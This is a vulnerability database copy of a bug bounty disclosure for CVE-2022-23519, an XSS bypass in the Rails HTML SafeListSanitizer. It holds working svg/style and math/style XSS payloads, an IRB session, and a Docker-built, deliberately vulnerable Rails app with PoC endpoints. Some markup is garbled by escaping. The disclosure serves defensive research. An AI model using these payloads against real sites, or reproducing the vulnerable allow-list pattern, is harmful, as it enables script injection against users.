Lucene search

K
hackerone0b5cur17yH1:1805899
HistoryDec 14, 2022 - 9:22 p.m.

Internet Bug Bounty: CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)

2022-12-1421:22:40
0b5cur17y
hackerone.com
$2400
47

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.001 Low

EPSS

Percentile

18.5%

The following is from: https://hackerone.com/reports/1656627

Intro

The Rails HTML sanitzier allows to set certain combinations of tags in it’s allow list that are not properly handled.
Similar to the report 1530898, which identified the combinationselect and style as vulnerable,
my fuzz testing from today suggests that also svg and style as well as math and style allow XSS.
The following are PoCs for each of these allow list:

  • svg and style: <svg><style><script>alert(1)</script></style></svg>
  • math and style: &lt;math&gt;&lt;style&gt;<img src>&lt;/style&gt;&lt;/math&gt;

See the following IRB session:

irb(main):016:0&gt; require 'rails-html-sanitizer'
=&gt; false
irb(main):017:0&gt; Rails::Html::SafeListSanitizer.new.sanitize("&lt;svg&gt;&lt;style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;&lt;/svg&gt;", tags: ["svg", "style"]).to_s
=&gt; "&lt;svg&gt;&lt;style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;&lt;/svg&gt;"
irb(main):018:0&gt; Rails::Html::SafeListSanitizer.new.sanitize("&lt;math&gt;&lt;style&gt;<img src>&lt;/style&gt;&lt;/math&gt;", tags: ["math", "style"]).to_s
=&gt; "&lt;math&gt;&lt;style&gt;<img src>&lt;/style&gt;&lt;/math&gt;"
irb(main):019:0&gt; puts Rails::Html::Sanitizer::VERSION
1.4.3
=&gt; nil 

Sample Vulnerable Rails Application

To build a sample rails application that is vulnerable, I’ve used the following Dockerfile:

FROM ruby:3.1.2

RUN apt-get update && apt-get install -y vim

WORKDIR /usr/src/app
RUN gem install rails && rails new myapp
WORKDIR /usr/src/app/myapp


COPY build-rails-app.sh ./build-rails-app.sh
RUN sh ./build-rails-app.sh
RUN RAILS_ENV=production rails assets:precompile

CMD ["./bin/rails", "server", "-b", "0.0.0.0", "-e", "production"]

In the same directory, put a shell script build-rails-app.sh which writes the app:

#!/ibn/sh

# make routes
cat &lt;&lt; EOF &gt; ./config/routes.rb
Rails.application.routes.draw do
  get "/poc1", to: "poc1#index"
  get "/poc2", to: "poc2#index"
end
EOF

# make Poc1 endpoint
# http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E
bin/rails generate controller Poc1 index --skip-routes

cat &lt;&lt; EOF &gt; ./app/controllers/poc1_controller.rb
class Poc1Controller &lt; ApplicationController
  def index
    @name = params[:name] || "put your name here"
  end
end
EOF


cat &lt;&lt; EOF &gt; ./app/views/poc1/index.html.erb
<h1> Hello &lt;%= sanitize @name, tags: ["svg", "style"] %&gt; </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.
<br>
&lt;%= link_to "Go to PoC", "/poc1?name=&lt;svg&gt;&lt;style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;&lt;svg&gt;" %&gt;
<br>
<br>
Using: rails-html-sanitizer &lt;%= Rails::Html::Sanitizer::VERSION %&gt;
EOF


# make Poc2 endpoint
# http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E
bin/rails generate controller Poc2 index --skip-routes

cat &lt;&lt; EOF &gt; ./app/controllers/poc2_controller.rb
class Poc2Controller &lt; ApplicationController
  def index
    @name = params[:name] || "put your name here"
  end
end
EOF


cat &lt;&lt; EOF &gt; ./app/views/poc2/index.html.erb
<h1> Hello &lt;%= sanitize @name, tags: ["math", "style"] %&gt; </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed.
<br>
&lt;%= link_to "Go to PoC", "/poc2?name=&lt;math&gt;&lt;style&gt;<img src>&lt;/style&gt;&lt;math&gt;" %&gt;
<br>
<br>
Using: rails-html-sanitizer &lt;%= Rails::Html::Sanitizer::VERSION %&gt;
EOF

With the following Makefile you can build and run the application

.PHONY: build
build:
	docker build -t local/railspoc:latest .

.PHONY: run
run:
	docker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest

Now you have a Rails application with two routes /poc1 and /poc2 running locally. Visit:

See the screenshot in https://hackerone.com/reports/1656627 for what it will roughly look like. Both alerts should be executed.

Impact

It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.001 Low

EPSS

Percentile

18.5%